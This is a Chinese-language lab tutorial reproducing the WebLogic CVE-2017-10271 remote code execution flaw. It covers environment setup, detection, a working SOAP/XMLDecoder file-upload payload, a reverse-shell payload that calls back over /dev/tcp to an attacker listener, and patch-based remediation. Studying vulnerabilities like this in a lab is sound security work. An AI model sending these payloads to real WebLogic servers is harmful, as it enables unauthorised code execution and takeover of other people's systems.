前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【漏洞复现】Weblogic漏洞搭建与复现:CVE-2017-10271

【漏洞复现】Weblogic漏洞搭建与复现:CVE-2017-10271

作者头像
一名白帽的成长史
发布2020-02-25 18:06:32
5.6K0
发布2020-02-25 18:06:32
举报

点击上方“公众号” 可以订阅哦!

Hello,各位小伙伴大家好~

这里是你们的小编Monster~

不知道大家都开工了没,小编3号就开始工作了哟~

今天一起来看看CVE-2017-10271的复现吧~

Part.1

漏洞说明

漏洞说明

1、漏洞描述

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

2、涉及版本

10.3.6.0.0

12.1.3.0.0

12.2.1.1.0

12.2.1.2.0

Part.2

环境搭建

方法一:Vulhub(推荐)

1、搭建Vulhub

Vulhub是一个基于docker和docker-compose的漏洞环境集合,配合docker进行使用。

首先根据官网说明,安装好vulhub:

https://vulhub.org/

2、部署漏洞环境

如果刚开机,需要先启动docker:

之前也写过一期docker的使用方法:

【Linux】使用docker搭建Apache/Nginx服务器

可以看到vulhub中包含以下weblogic漏洞环境:

部署CVE-2017-10271:

查看虚拟机状态:

可以看到端口映射到了7001,尝试访问:

成功,搭建完毕~

方法二:手工搭建(不推荐)

不推荐的原因是,相比vulhub,手工搭建可能遇到各种意想不到的问题...

1、账号创建

由于weblogic不能使用root账号进行安装,我们先创建一个账号:

2、安装JDK

此处需要jdk1.7.0_15以上的版本,公众号回复10271即可获取。

将压缩包解压到/usr/local/下

解压后得到压缩文件:

配置环境变量,vim /etc/profile,加入以下内容:

加载上面的配置,并检查是否配置成功:

版本正确,JDK安装成功~

3、安装weblogic12.1.3.0

Weblogic安装包,公众号回复10271即可获取。

创建响应文件wls.rsp:

文件内容如下:

代码语言:javascript
复制
[ENGINE]
#DO NOT CHANGE THIS.
Response File Version=1.0.0.0.0

[GENERIC]
#The oracle home location. This can be an existing Oracle Home or a new Oracle Home
ORACLE_HOME=/home/weblogic/Oracle

#Set this variable value to the Installation Type selected. e.g. WebLogic Server, Coherence, Complete with Examples.
INSTALL_TYPE=WebLogic Server

#Provide the My Oracle Support Username. If you wish to ignore Oracle Configuration Manager configuration provide empty string for user name.
MYORACLESUPPORT_USERNAME=

#Provide the My Oracle Support Password
MYORACLESUPPORT_PASSWORD=<SECURE VALUE>

#Set this to true if you wish to decline the security updates. Setting this to true and providing empty string for My Oracle Support username will ignore the Oracle Configuration Manager configuration

DECLINE_SECURITY_UPDATES=true

#Set this to true if My Oracle Support Password is specified
SECURITY_UPDATES_VIA_MYORACLESUPPORT=false

#Provide the Proxy Host
PROXY_HOST=

#Provide the Proxy Port
PROXY_PORT=

#Provide the Proxy Username
PROXY_USER=

#Provide the Proxy Password
PROXY_PWD=<SECURE VALUE>

#Type String (URL format) Indicates the OCM Repeater URL which should be of the format [scheme[Http/Https]]://[repeater host]:[repeater port]
COLLECTOR_SUPPORTHUB_URL=

同样创建Loc文件oraInst.loc,内容如下:

代码语言:javascript
复制
inventory_loc=/home/weblogic/oraInventory
inst_group=weblogic

开始安装:

代码语言:javascript
复制
java-jar fmw_12.1.3.0.0_wls.jar -silent -responseFile /home/weblogic/wls.rsp -invPtrLoc /home/weblogic/oraInst.loc

安装完成~

4、创建domain域名

使用以下命令:

代码语言:javascript
复制
cd /home/weblogic/Oracle
mkdir -p user_projects/domains/base_domain
cd user_projects/domains/base_domain
cp /home/weblogic/Oracle/wlserver/common/templates/scripts/wlst/basicWLSDomain.py .

修改文件:

/home/weblogic/Oracle/user_projects/domains/base_domain/basicWLSDomain.py

添加以下内容:

并删除从#Create a JMS Server.

到# Writethe domain and close the domain template. 之间的所有内容

删除后如下:

执行basicWLSDomain.py脚本:

5、启动weblogic

浏览器访问http://X.X.X.X:7001/console/:

搭建完成~

Part.3

漏洞复现

漏洞检测

可以直接使用工具进行漏洞检测:

公众号回复10271即可获取工具~

也可以尝试访问http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

如果存在该页面,则可能存在漏洞。

文件上传

利用该漏洞进行文件上传,POC:

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>monster_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

通过burp发包:

访问上传页面test.txt:

上传成功~

反弹shell

首先在kali进行监听:

反弹shell poc:

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.3.130/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

通过Burp发包如下:

成功反弹shell:

利用成功~

Part.4

漏洞修复

1、临时方案

删除WebLogicwls-wsat组件:

代码语言:javascript
复制
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm –f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重启Weblogic域控制器服务:

代码语言:javascript
复制
DOMAIN_NAME/bin/stopWeblogic.sh       
DOMAIN_NAME/bin/startManagedWebLogic.sh

2、通过补丁升级

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

Part.5

结语

以上就是今天的全部内容了~

欢迎到公众号:一名白帽的成长史分享/提问哦~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一名白帽的成长史 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档